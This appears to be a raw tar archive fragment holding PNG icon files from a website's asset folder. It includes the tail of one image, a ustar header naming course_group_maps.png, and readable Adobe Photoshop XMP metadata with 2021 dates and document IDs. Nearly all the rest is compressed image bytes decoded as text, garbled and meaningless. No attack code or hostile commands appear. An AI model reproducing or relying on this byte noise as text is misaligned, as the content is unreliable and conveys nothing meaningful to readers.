ĔY��@1P�k!�ĨAAR�/)#�T%�t8p1�.��A!Ƭ���SA@�1���ƴ�lAAH|V���U�T]�@$4k�AA��('AAHO��A!M1
� i��AAHsD� B�#b@A�� ���A�4GĀ
� �9"A!�1 �
i��AAHs�PVˇ��IEND�B`�assets/images/icons/course_group_maps.png000064400000110146151165724360014705
0ustar00�PNG
IHDR,^ɰ) pHYs��4iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T12:59:06+04:30"
xmp:ModifyDate="2021-04-19T12:59:06+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:3e2e2748-baa3-eb41-a629-3e71edba592e"
xmpMM:DocumentID="adobe:docid:photoshop:6e40bc4b-972b-e949-923a-92f90e2b2382"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:06f710f8-2357-b742-9ac2-60eabe951945"
stEvt:when="2021-04-19T12:59:06+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:3e2e2748-baa3-eb41-a629-3e71edba592e"
stEvt:when="2021-04-19T12:59:06+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:06f710f8-2357-b742-9ac2-60eabe951945"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?><Ո���IDATx���w|e������fR !�Ыz�H E@��w�������ݳ`������P�"J�@BBBKo[f��� IH�$�Y�<��+����<ٰ;�y��!�$I�$��R}�I�$I�|K�$I����`@�$I�9H�$IR#'�I�$Ij�d0
I�$I��$I�$�����$I�$5r2�$I��F�\�(�lG]���,I�$I�(��nD]B4�cw�&`"�#�$I�������_h�RT����/���!�$IR������x��Am��@o_7D�$Ij0
��f��!����P`
2�$I���z�_7b0�%p��!I�$5X�@4p����!D�ZZ8H�$I�<��FxZC
��u$I��F�j����I
)��H�$I��?0����|�I�$����xRC Z���$IR���xRC $I�$�.Y|�O���$I�$5r2�$I��FN�$I���5�n��B
"c�����E?K�$�7yBp��>'��ER���$I҅K��1�s�%���e+���T�)<&C4I��O�T-��e���*��<%��̗$I�d0
I*{��Eߓ*jg�@�$d0
I�KI�H�$5|Y��o�F�-����pa_�����A�c���T
�G�j!��DE��w@݁=5}r6���$I
�R�>�mo�{)�A�{��hT5��@�
��C�7/a�9xN͗���&O��!�:I���`J����m���ݨj8\��ͩ0��m08\7MkXd0
I��0%�"l6��!lY�_�o5�
�+�$��!lہ+���\2�$Ijx�/����ϴ�oz�E�o�mk��%l \�Wd0
I���$cL��ٜ���g�wk�w�0z7�y�$I�T3?!lz��-ly(�x��x�@��́N@�Z��4��}
0-�v�
`I�T�/���hc�"�I���g���"�
�v�-��\\���<�&�s�`%��=�`��y��c42�$Ijx2k}a�V�6'�
X�b}�ps%GK�|��U��O�6U�����qH�>D�FDz"+ a?�ȃ�<D`>��~��f�
䪀�CP
#@�"z��@1DQ������1H��9���L¶��b]�D��c
p;�V�\05d����k2h�N"��2�?�#�p�1��a����
���7�]��ySQ&���F9�1&(I�����Ww��s�&�L���G�W!l��K��9�-����`-��'hg"N!���W��뒓1�v�s��r`�0��4s}5�H
����f�E��Y�
�
{8������!^��%�q��b}��.yO��(�9��R�j��������c2�> �#2^C;�3z�<#J.��ֹ���cz�r��OW�_80�1��b;�����!e2���1Bi�`H�T{����u�b���ח=`|�\�s�K�6^�MP��@n!�F;�:�~ѱĶ`.�c�O���Ԟ?F�> cr��
Ma�����6Z��m����#l�ur6�z �H&���=Ū+1�*��Fm��`���3��4�ԏ�[�
�p6�-�5F@��{��1�y=�\�
���z�e�#��/(I
���_�k,�'F/������UޖW����]2(�`@�2<f��Q�G?Fo�<7`��=�8��.����z,�V�c�bn�T�H�����a���k'�5���*�mư�n�.���P���l�$p��$H���Z�Xs�5x��:O����y!���;�o�C��E:�%ˀ�]��������YaJySK?�W;H�TZ>0�H@�θ�,�
������v3�Ew�ʠ�1&��!)9�_`�/:Ř����u0��0Ե�B���+)V�u�ˀ����z^ 2��@1E��fz�M8-Y��t�1�}_H�Gkk�<��V8�f�ը�_%�6A�^�r/��cE@ټE��kp~��u[�
�\�V�%����(�`�d�"��j p��<0
gW
��\�HV ��3
��o�v�qv�cw½�I���1&�UN����p\Q
5������9AS��]����1�x�����m��W�wƨ�F���]:T�~�=
6"�[�P�@O����Ԉ���ʃň|e�Uf���X�`�s��Z���]��Z`�٭��d7c�@c`�}�+4� g�Kq���DvIj<Rܬfأ���H\������֍}�x>�J��y�b��Oѭo��1i4�j\�0~��۟�}�c?�q��풤���"�.Cv`d.��\�%=y=�X`FFRk5� �}lx��a�''b�^!F2��
�q5N�o��һ��>O=�cC����]�#�{��Fm��7-I��ss����cǘw��a�_�^��i�)j~ӹō}��Y�!�!{jG���;hy�p���1���@���@�@@�t��Eۃo2+JR}�n�o1ꑔtc�r�m�6��@@��B�n������BU�p?��*!����h.<��3-P���ˑ����b�N�g�z_�s��u�%�"=Q�]��ﯜ�|;��t�7�(¶���8��> ��6�.ƅ~g%�0c9Te��Hn�]�5����g��������:~�����G3a �\r$Ie�q�I�g��;F����Jg,l�(����+�����G��|
��RI&�M�"��T%g�v��Jɞ����`
��q�rv`:2��1^7�2��pF�3I�J��+s_En�X&}c�w(��(ֹ���U6a{Rn
`�#����r�s��|�uFUT�dBj���cu\�����;b,ɹ���n��a�&h2u�2�Y�H������9�X�c��b$�ҵA�
lj|V����K7�XM�y�.�� Qα�Ľ��J��2aM9�`���8�;F��j�w���'���qA�!����C����`�U=�c$8+Iu]�ϧX��X�B�N-g��b}c���=�����<���w��X�F���F䜁��X��Yh�>F*�Z��_R�-�x=�z�.h ������}�
؎`5z�i�&`8*�Q�B��-�o]�712��T�Bn��,���_��b�܍1��
8�b]\��0�D���F��V�by
M�+(ֿ�P���7������c�B?�8ZQn�0*yI����sh}z�$]���6U�^�����}&���Dޫ�(�@�/��R�nF�&����|��`�O��%�7Rzl�5��c%�U�9&�dD%�����~E��Cز1���`_��d0P= �!���3Ե|�%�OW:�@;�ѿ�����^(�}ݨ�$!x�/]I�pH�6g��<(2���n}�I�&�wf�����?�����]�X�~b��3A��_@�T�DH�{�jA؞u�\r~�F��1U�l�*8(��e�e��i2�p��*N�$Ղ�g��-�8�Fd����=�}t�l8�q�N����'^A��]~T���i�\�`�=wϚ���s�x�_�=-��o�᧙cV�՝?-����rC�B�NTf˷�T�gP�*�4�/ЅKv�Ry�U���<0r��Q�t��ϑ�IN
t��3Y���q>�h��l�z�CH5#0^���2ǀl�6�|Y�d�<�F0>p�U�]�qC�w��^?�ձ;�s�+ߞ����ݶh��6]s�즪Z0�q89
��I���B��L�ϣ��?����x���nLC%���[��Rߢ�������df�����z�W!���\�>�A,D��V����z�g��#��n9U?�b���ک/��_.�i�&e):}p�]�9�0J?��Yb[�a6_;���&�}ښJ�u���
n��� d�����k6�=8;�!��9����A^ѷ_��V,�t��^��s\��m߭Y��1�.0Aa?H
�aۃ���� ���_�}���¶ #�X��Z�@�AĪ <���6��F�k�?�<�������ի
00�'N`2� �M�6��呖�FNNAAAt�҅��
IOO�����D�֭�����ٳdddJǎ���dddp��I���
""���|RSS���4k�M����G���Dedd��u���i;���F�l�HM����v/���XҦM�������[����(�B˖-ٿ?͛7�n�#��iӦ�:u�V�Z���Enn.QQQ8p��-[�t:���#22�-Zţ�>Zۗ��ׁINu9�#�<�J�F
�+q���/11 �����*�7w����n�
gzFsK�4KPP^�~��'��X��:��F�ES�1��O?�7�/�q�'b&RN,l�^A��$lϡX���R.�8�K�$l+Q�a�J�<DU����Bt���M1>�o���i+���(����bA��lFQ4M��Ϗ8y�d����'O�윟��q���G����H��P�9222zgdd�>z���ݻ�`XX�r]���5����,˅��R�X���k��Q��1�q���v폼��wÿ����������^{���+��yݙ��rV�Ca�-�Ǝ��3g
"��T�oe}?�/1#�~�yӰ��X$?����r��������
X|ޣ�6�z
ƲC��'��9���
1& ���
�TC��^UUL&f��ł����p8"�����߿�Cfff����.�����Ng+���t:���+//�S^^^����[-�鈈�����m6�r�ɔl6��4�B �1�/ރ��t���A����io�����>�}I��|O�z��+F��_i6[
���Ġ`��r`t]m@��8y�����ܹ7=~˭��������ٯ��g�ȣ��<��n�|
?�����6S�rBAɄC��r���xh/g���
��3�a;SA[�XaP~FD�Z�@�j]��M4[*"�"��+��]��f3&� �Ʉ��Ew�-rrr�fff���l:�-++�s^^^k���K�.9�橩�����^n2�
��Ҷ����Ҽy�?���f�n6�QU�NWy��
]@[�.�:
ҁ7� ��{�{��wu,7��UY���|okt�ߌ�}�P�
��������yU�-熮\v��wv���Sn��U���O�pAc����-��@�Φ�`��b-���@�2���kZ�}�n�A��%��[�>oW�[�V�z��
���&����ꊕ<�V�)��G¥���oRPP�����ٳ�O�:�*77����Q�v�ꘗ���0��t��]���:ujĩS�F8p@���n�o2��kL&�1
'�0���E?�i_��
�N<��7��t�w�,(o��郷����g{�W11���CQ��܃����������]n�*�5�ʷ'm�mԨ��X1�94>����ʖ~����_9�"0�T�
�ύv�T��T���2�� �E��9�ၕ�����;v��5yyyc��ӻ����������{����������;��l�jڴ�悂�_�v�2UU�Bu!~Ue�F݇3�u�V8�J1a6��:��_={�>Wfٲ4q{ώ(�0Uͻ�(���)8�������O�J�ֲ��u֬[������B�.n<6W�U��]9ܹ�{K�r���'Ɛ�dž=+���b���wx�\��RKv���&�eggG%%%-۱cǗ��)++�₂�
%(���=}���͛7�����mݺukw��Tnn�P]E��)��{�B�;���>q���<4v�%�^|^v�G�����m�zu�a
P�
�1��U�vv}0������W���7�wJ�6��<��~U�u�n3�OG&"�T�VW�w�l�F��e����
),,�f������?|����h�l����鋓������_�t���;v츧����τ��eNx-ի'sY�
G�2㵲��9��/�n���`�q P�
�1���-\x��nZv�1��ZSU-��L%D��:�q��ysM����~���!�/(^G+�={އ��Ç9|�0Ǐg�ҥ7����\r�%���fҤI����e�/B�������1���U�o�{䗮��q)��ӡy��[�����ۿx����
��1zkƢp*��C�z���n���)�EDd��yn�b�u����GA�2�x���gs��_ ����CCC #88X9r��-#F�`ɒ%<��,X����$�Ν��w�M�Ne'�6X�}��4hTϞ=�0�5k~l�
� o�k��bۿk�rk
,Y����<���ߕ@s�ʕW���o�.���`�1��tI��vC�p��}��;�Z�d0�o������ȑ#�ٳ��ٳg{̘1��\F�v��q�W��}�v�.]���w:t��ׅf͚1t�P�~y�E�_�~�>�����U��!��/N�ڵ���#�6�<�j�|��.����O��7�D��(�y�m���<��c+{���e�J�OjКP�*������ƪ����y�-��<, ��E4Ǩ��}y�������FJJJ��n�����bAAA�;�w�y��۷�`�n���z���Я_?n��F�~�mV�Z�Ν;Y�~=o��fQҤcS�Ly�[�nX�Fe]����D�u�
�:W������&ClذaX�G{�dz
9�o߾����U�ꃑU�aT ����R�G��n�7<SQ�ѓK=�C�\
cYN��4ڶm������c���t���0i�$&M�DNNkey����<�N�q����}����Ջ0p�@���i۶m���,X�����?Μ9��t: �d2q�'���dz`���ɓ'���b/�-4`:��q^յ��_0�K�~�~�e�K�m���P~�8�AI�H7\��}��}�b�^���wF�.��E-�ю�0R�Pvɫ������21j���3x��A+�����V�6�� !�oƜ����f L�0���\V�^�?���+8tȫs��y����у�2h�
z��E��w/Rvv6���4i�d��={p:�řpgȰvJ���%�Q�LUFх�b�u��vk@@����he��9ϫ�ԤI�<�,/�[��$[?"l���Q��q@�`�V�"�k8���8wm������Y������
W;?B�ܯ�*lo�X�b,�T��O*&�ڈp�C(�䛵�7n�8TU%???c�����#��ٳ�:wPP'Nd�ĉ���{�n/^̂����Q�QR@@:t
::��ҿ:u�Ddd$���5>nAAyyy>�̰að���l6���KVV�^��)��f��I���u"]�+����,������(�!h�6�#l5��"l���lO6��ΧXo�@�^(�<�Pj�é�h��:�d��+�^�j���}�~h�D%��!!!(�B``�������]w��M\\�G�ȠA�4hO<����,\���s�u��*'橪J۶m�袋�߿?�_�~�k�$GO��������IMM%44�+�*I��(,[�L;v�\`�W�A��t����)]0�W
l)>k�b}��r�@�[��
���jH����^t��[e��ff���5==���ŋ�9s�W�էO����#�<�֭[Y�p!,`���8"""�ٳ',��ܹ3AAA^iOI�������nݺ`�Á�nt��Lu�+����E��3W
Z���%ɻ��q p/F
����:;����b��Pg�ld0�!����(��C++�W��ʶo�~��Ç�]�l+V�`���^k����=O=��F��E������y+��:AAAdffޘ������400��鬓(9$�
(HC�=����e"�_G�em��A�����Z��<y�sS�����;Ƽ���_˻���(ڴiC˖-������p8��_���̡C�j=�_��mxxx�YYYl߾�?�����o��ߟC�QXX8`˖-nܸ1)))i�ɓ'��4��]�������/^\����%ɋ~t���=�:#Шd��������<�O�B�LXU�����'++��;wҥK��1c�\5��eiii���vM�4�cǎ���Gll,QQQo��f��ϻKtϜ9C||<�W�f�ڵ$''���Z�w�$Mӂ���&���M.,,|��7ۧiV������������ٓr�T���N(���\?��oP�]�W����*lź�Xg��d0�!�)^&Xe0`6��X,*{����(UU�{���ٹs';w�䣏>"44�0v�XƍG�>}<r/,,�I�&�>NI���$&&�v�Z֬YCBB'O�t�&��ѪU����nhݺ��֭[� %\��f#�$/s�M�)��)F��[�l���Q(�;�:��R�%Z��<@!�*�W���(���vONN�����"!D����,�/_����y�'�ѣ�F�b�ر���Һu�j�Y�4�999l߾�U�V�z�j�m�FZZZu�|��c������2222��r�<E��_:Di����Y#$�sj_hH��U��+�0�r�i��"*�x�;���y�6�@.��x�A��4�|�q�<���?~~~��iUe !ؽ{7�w�f���4mڔ�r饗2v�X�����ET�4l6��Ɂ����k�.֭[��ի����Q�@��JLLӦM{��|�Ħ��3g�u�4MC�tUUS�IB4�''J�S4����x��1!zƝ����p
0�̰���"�g��Q�?c�@�lH�ȹ���
l���r��YP
2�D���J����L����ؾ��.55u��f�(J�ׁgdd�l�2�-[�c�=F�^�5j�\r �z��k�.��4
��Y\�"iii�߿�-[�_���YPߢE��~�������:q��]tQ2�f���M����b��l�lA�`@���>������ �0R�*��j���#��-��30:XC0�����6X��7*2�-�T�`��,_E}��|&**��Q�F���7�l2dH�3f�r�J9x�
���n�C��;رc�~~~t�ޝѣG��_L�fF�l2�����%�IMM%!!�5kְv�Zv��Azz�����d k�N��`�ȑK"""�y�����z�*��d���N����3����b?� #(bŨ�
�E�SP������+�A��Z������$#��Y�
�L&TUEA���iժ��>}���s��篿�zn���?~�ݻw���@||<III:t��+��v;III$%%��;�ЪU+�ʸq㈎�F�4�v;k֬a�ҥ�\�����Z]�Z�h��ѣ�6m��1c�|�-p^q��A�#2��/+�<0���T���})���5|�Cxb�D#"�HAM�?��ǎ�n�@^^��������ܪU����8E!**���(ƍ���c����ٺu+{���رcn
/������?���?c6��u���z��_~�ƿ{��-[2f��M���ѣ�7o>��]���2�귫Q��"l�Ūs�n^k����b݀�-�ֳ�-���iR�%�H;W�;�:t�ٌ�dB�����9��y~~~��у=zp��W��߾};[�la˖-$''s�̙J�P�Ԩ(5rMDDD0z�h�O�Θ1c���؇�pdN��{��6�;��:j�fY٥�z��xasT��b���¹��y
�s;
P��a�R5�`�2)^P��%::���<������C����[�n]Vvvv��@y����۷/}����o�ԩS�۷���$���ٷo�w�����&�qW�9r$#G�d��ѴhQj1x��V'�3Y
��٪�|D���I
��a+}ӢX;a,�{�|v�� �(���¶�ܽk���R
4�;_ȇ��d�&���f2228p�ݺuCQ�v�*��Hz���H"##>|��6�瓜�Lbb"���$$$�o�>�rt�ޝiӦ1e�bbb*Jx�
xFQ��u�]���������4M��MB���_U�Ж껡��@*�u=��q���1F�23��Q��;1ޣ*�r��@d�[2��\��ʻ�\�����d�f����ANN�"�i�W�ؤI������o��-p���l۶�M�6���@rr2999t�֍I�&q��3d�*;�q���4ƺ��$��d����@���*�����_�ƚ���q�0h�Za,��B�|݈�J���H��}��d�d2QXX�2--mTNN��@���!�b_xx8�f���q�|����|��|���4��C��(ʷ�lN�]J4��t"��iF!��1�%{K>@aF�'�x�~�?�Nj.�-oߟ� X��G��
I��|�{FQw�[=���222b���sKNNΔ�����m��w�>����1�A�ѩ�� �j�e˖�I~��N
N�bt�F`d2��E��;��A��9��b��=v�#tZ��Y3���_>��*������������_�MOo-K8KR�"��p`�ǭ_����Qv[~~>���������H�=<x0���4�^�zy��P��'��*���NJ�TgI��:ஒ*
�T�ުJo��tZ�:���$Y��%��v��{�B�ŕ��d�6��W�D��o�s���^�Rճb���u���7����Q�LV9��FA�@�0�&@� �M&�S�L铐��C���l����H�Ν4h#F�
66�=zx,8(:NA�[�ɾUe�����1`\a{�L�RUF)
4�����H|���y�f���]�lgX�n�t?Cc54�7��Hɡ��fs�E��u��c��-^v��?�s*�bƻ��%I�z�Aw!RAw]�ܚ}ޯ_?{jjj���� 59߁8p��}���ЩS'bbb=z4Ç�[�n5��WT�ȍ`��C����WjӮ&W��\���w:�Tp�/�b6s��ļs=�c�43gfw�7�a�7�T�R?(��W&�d�kh�ɓ��|��W�{��u��������bΜ���3�o��o�z,�y�ݒ$��<�
9��Q\��\�+V̲��A���<��t�Ё%K��t�R�?������~��b�k<��#G2x��jE��Hy�Fű�a�0/
g�p��2�᠉�����)��0��ˁ��<e=�Õ�B�NR�p��(nx���X�N�f����y������~g;�z{��~�[��k��p�I��Ԁ�w���7�@��AǀӧOx��y�����k��Λ7�?��í<e�ͮ]�صk�}�Yqp0d�Ǝ���ԩ�Z�XpQ�`��+<Gzz:�7o�}��r�<�Q�,J�Y,�TFWr���)
�$m�DODSE��NE!C҅��(�0������j��e}���YhD@�S��p�oO�Z�cy�ߩ�?|?29��s��Z܉�9�#C�$���p(p��tg��۷�h�f
��+��iӦL�>��ӧs������-b۶m�.q\28���O�[�n��у0l�0z��MXX@qC���<Ȝ�6l����֭[ILLܓ������lb&Z,<�(��AP�:��1]�8�i���*�Z�L�u��0�cM�,U�jb���?]'��>fT��-Zzp�`ѫi2g7k��S��>@'r��g<�uo�����3��ץ�z�,\�&�$5(2�(y{��ȶ���رN�Z�"2��Y�f�?������ϲu�V�Ν˂عsg��ZXXHbb"���|����iӆ��.��R:u��lf����c�
�Y��#G��<�!D�҆1@L??�&9P��<��f��R�O84.��\�-5�X�T��M����N�.nƸÿ�'V�-@�Wd�:,f�6�^����5[q�t�5k��b�koԮ���i�����M/]����
Ijpd0��P�Ʒn%����t{,�d2CLL����ټy3,`ѢE$&&֬�.)))�����/���jU���y,
LQأ(�m2��a2�Q5
!ר*7U1a�<}l����JIV]��6�pU��B]�|
���!:tDq���.�c��q9۷���
���W�ݵ[Ҷ�6�
�W^��6^�H��
�w�D t}�՝�۴i��]zQ������cذa̚5���x֯_�O<A�>}�}��TV��UZyO9�v�u8�]����w!���`���H�+���-���HӠ���S�t�3i
��
�Px�����5�on�+%%"��5V����~�[[�)S������-:5�s)I҅J�x�P���oݺ������
??���j*,�l63t�P��SO=���?>�/f߾}�Nt���t�҅�����G�;w>Tή�VEA=LLv�����kk�Ʉ.M+ J���,��u��L\k���?,��|��Z�ks������F)�3�����E��
�;>CgN���w���������?o=��#j8*Q4^Ӷm[���TS�{��w�Xtvr�a$�����tGi�@�0��s��\]�tٳm�6q��i������#�X,��g͚Err2+V�`y�[�����
�k2�h���DEEq��q�N\\ݺu+[���%e.i�k��5��L&�ͼ�i4�ZX����?<P`13�b�|�=��ɗ�~,�t�8J��D8�\�ğ���� \,�
�{�vhc/(p�BXV�pA�V�]�����7����~��~{��?�kn�A)����4<���.�U�ƺ)6:z끍�֠s��T��E�BP$ʁ���`Y����&M�����`��%��fz��IϞ=���9t����租~b�ʕ���ҧO������ׯ]�vu7�af9�i����Z�7��&Z�<)`��sҕ�`���o!�L/'Xj��Gn�>�S�o+�-
�J��.]�=V�0N��w������SR�g��C�n�O��Χ����������pnn�5��A�@����Y=�����Ȩ�=l�w���b�$�
2��(�s��aT!ζj�������r���ӱcG���cǎ̜9�믿��͛�������0z�EU�<77�����\�V�Y�5�8���6��6�����x�K��S;4��ڬ�Z�pCqﶢ(�B�8���@V^r�%���l�f3BT�v]Q�Z�>8v��ߌxr���-��>Ȍ�\ �X
$�w]��t�c����Q�.���o5���{*I��<dj�\c"װ��u���СC��<y��=��èQ����.��
���!��8�FRu���<�
����$U�S������T�#��o#x��)�A�c�8D�sl�.�Ew�NG�7�U^%������k��ܹ3r̘1��K*�`�r��d�G���2�s��1L��|�M�Ƀ�.��]�r.�aԨQ��dπ$58r��C&��b\P�������;�}�Z>�
111��ߟ��,X��'Nx��E�kp�,�v�u��v{Q�97���*~���*�<�x\-�Pu.��^���1N2�g.}n�N\C����n�lRRBZj��P�^'�!:-T5�Y�f��S��~͚��$�A�����G�4�c���/�OTTԻ�:u�2""b�����]�v��o3e�z��ELL<��-���7��W�Y���@yc�����uB�
�U��Ͱ�~ ���<V+j�����Y��>u��-�'�\�ʼZt�e��\p���V��-m��]w��$5(2���\�^VվB�N'?���
8p�{?� �E(33�-[���o2i�$z����W_͇~Ȟ={jt�,
ʬ������<�`����=Xξ�R/�:�Q��r��cW��^�ńI�$���3o'ge�OGe!f��8f���M��ڭ��&A���e0
I
��3�A���,0�p��Ǎ;KM��u]n�ر㶶m��������;��ѣ�����n8u�s��e�ܹX�V���=z4cǎeРA4k֬�6�&�N0`��HJJb����^��-[�D<x^U�$����V�U&��Z}/�EӴ��\�q\Xpax�NZ@@�e]�U!�IUU�f�YϜ9�\�u��L߸s�n?���PxS=�%6t��W�zT�
�Ϟ�l鵫<R7��$��`�������Vh��QR�-���p8�u]4k�lK˖-�DDD<k�X�'''O��ə���5P�4�-[��e�^{�5Z�lɰaø��>|8ݺu+�<Es*�v;{��e�ƍ�Z��M�6�wo�b��E /S�
�"_�o��d*��B�7�����v����#��B��=���\����(�W�ت�a�(hѢEZ�d#��挒$Յ���^Q`�Hԕ����F5���4W�~!�hڴ��V�Zm���}�ĉ}�?~Evv������N�3��9iiiŽ�����Ӈ1c�0b�z��Y�t��tqQ�B02!&''�}�v֬YæM�ؿe��{�s�<�p�ׅ�%gޥ��5�c"77��M�?�Z�$�*�FcB7�0j
G��+
�ѝ1EQ4~�o�
��M|y̞��Z�Y���A7�^�$��<���ߍ��끇���O�4�N'��ФI��]�v�n�Z�IIIik�Z���?533s��n/�,[XXȦM�شi/�������Ӈ)S�
�@UU6l��%KX�b ��U�T�Œk�Zw���ol۶��rv��=�t^�[����k�/f�ĉM�[�Ĭ֤XP]3�QH�^�����gU���UQ�����g���@c����A��=l��a�ic���'�8�]��4
�ł�b9ޭ[�O���>UU�uFF��'N\���9�f��*v������Y���P���s��漦M��QUuC�֭����o���>D�-;vlyO�h�1;��J��%?ŭ��v ���y_�N�V(����PU��(�nx�
�'���=��$I�"�/����+h݀��`�,!�M��?ѪU�/ڶm����l�gϞK��={v��n+��1��9�������Y,�u����]�t9�s�N������#++�Ӊ�鬬��I��u��wc��2�f�k���4�g/���gYaB���w�9qAT=�I�$�r2�'0�����8�wo��h���(X,�#-Z��$""�ӧO�Ue���ǯHKK�t:K-70��9M�4�Ӻu�
M�6]�iږ���5�ͤ���"�4�h�CM�h.�O9,�.&E �L�
�b�39�ؿ�����q�K�4q��8�܈Tv���(ysHHH�/�o1���J�(IR�'�/�+�D��;�K1�
x5(IQ|�X,�;u��EDD������v���G� >ۮ]��V�u���8���
--�xU��i!<�(
प�]U)��O9d���k�a���ݤ��(}�
Aʹ�SJ�?q���!!��#t�zH��7������ui
{,]�t�^P��^��M���uaE5�7!@k�)�s^r�R�a��Yk���S�'gc��q�O�q��;#��=A���tpx�
6b�=1&�W� �v���j�z4���IQ��*?���g�U��:�:�㤯�b�ؼ�i�cB�Y�,vE59�,)�f���Ѻ��NQ��V��~���灢h������Lq*;;l]^n�5�|'�3��B�&D�|�u��n�?�h
4s}E`Ĺ�z'�����2�����25l8J�n(MU�h�<9B�Q ��wx�9>!���x'���_�Ga\�F{��K�_ŋ��X
|���W��aE.�d�pP�F�@� �j��m8��įڷ}����yg��j�B�����ْ�������s�g��~���b�炪�����w/���G+V�FE�s�U�����B�����h���OdU��5��Q(�2��KQ�[�4�hN2(�`
�s����O�;W���W+������!�
�q8�r���?�,7� ��L���U�+�|��%�|���f|~ݼ��_������3��ģ����ׅ@��E���M����@Wί�u#�g2p8�Q)��ˉ��ˁ1&������9F
�+�zm�6�%J�T�&L͇���@
�`�}T�M�P��u�F�s�,��T!+�:�ݘ��֣�eY976�i�r�ϻ?8�$f�P"Q)g�����V����V��jf
b�Kh�w/�V%6��\_k�x��,�d�����Y80���b��4D�9�
ס��1�F�������?����~"��x��m����2ga���@YBT<gBTQ�h��F6hy��U4u6z�����9R02x.V�uМt`���c>�$�,h�:��
����܄�_
�|ON&���
̻\?>
t�e{$�b�x���A�(���PQ�((*�%�N*b��87�c��,�𓈮@6�!0
h����.����W{F�ڗ�yΠp�9�����B9o��"��:p;��( ��Kwi��(��(��7���AR�r�߀3��!���C�
#�u�N���-���Ѯ;1�y+���_Fo��ڙL4X2�#?aN�@ƪ�}ܜ��A`T�����#5���~�-m��}����q��>���W�b��?F��9��M���^B˗�ԑ�(�Ĵ��o4~��kU���u�5��sF��7����-�A#��j���8��WE�H`����I;ٿ���
��н�F�F݆1)�{
h)���Rm�b����=�#|ݠMQ�o=_b\�Rk���}ΡY ���a&[�1��J`�ID�e8��pf�B�:md0P��aNkf�!�|�`?�`��u�0������;��A�Vt�v֢ja�����;�BA~`�=�3�>�=1JE<�~�m˼�g���1�`zX�?��|�.���{�����߱�2Cp����L�B�
���E}�jR]����
_��H��[�Is:�
g���8�s��H&�cj�'�����(���pZo�����vI�
��2��[
x���Mj��U@��y[�Fz)�u�TU���5���R�8����l�1IDl솣�b��.���e>���}�z��dD��I�%��
uԿ0mq��0͇�i��b��<�)�fԡ>n��h��I�rBWM�!����[��[���i����~�q�-�k:��p1���i/�_�3}�,��d0�C/b�������}ܤJ ������n�1A�t�g1��q{�����p�h۽s�7�|���6�1�P�1F����跙�m_y���\����(�l�q�.4[�`���~픯%�O>�
��Q����q!�
)�O+���U�1��o
j�{��A��
�+PIM?ky�[Xr��9���Ϟ���P+|�_���]��n?����3�[%no0�}d�v��@�!��ʗ�ˁL�6���#�2`z-�6�G��=�d�B�W��]�ǎ����s�Ϋ'Ui*F��_�Ř�4�K�>}p`�w�q�{�y(�豎_|��?��H �Ea]�o����pS�ʼn=.���K�x��%�u]�NTf7�r&:p
�#s��c��܋��Wr�e�͓Q����U����$����|h�h
�v��������[�9��r�}?c��X�"����2cǣ�&�I�tN�(�F�T�4�@@��<�=
#8��ŧ����a�]����]�0
����]�Bř�z�C/a��I=*�`d|P�G�%枾�k�Χ�F'�(L�f�^+�Fg*#P��x�\���F
�\�Q�G���a�&Qw-��C����e0
��bJ0P�Q�u��
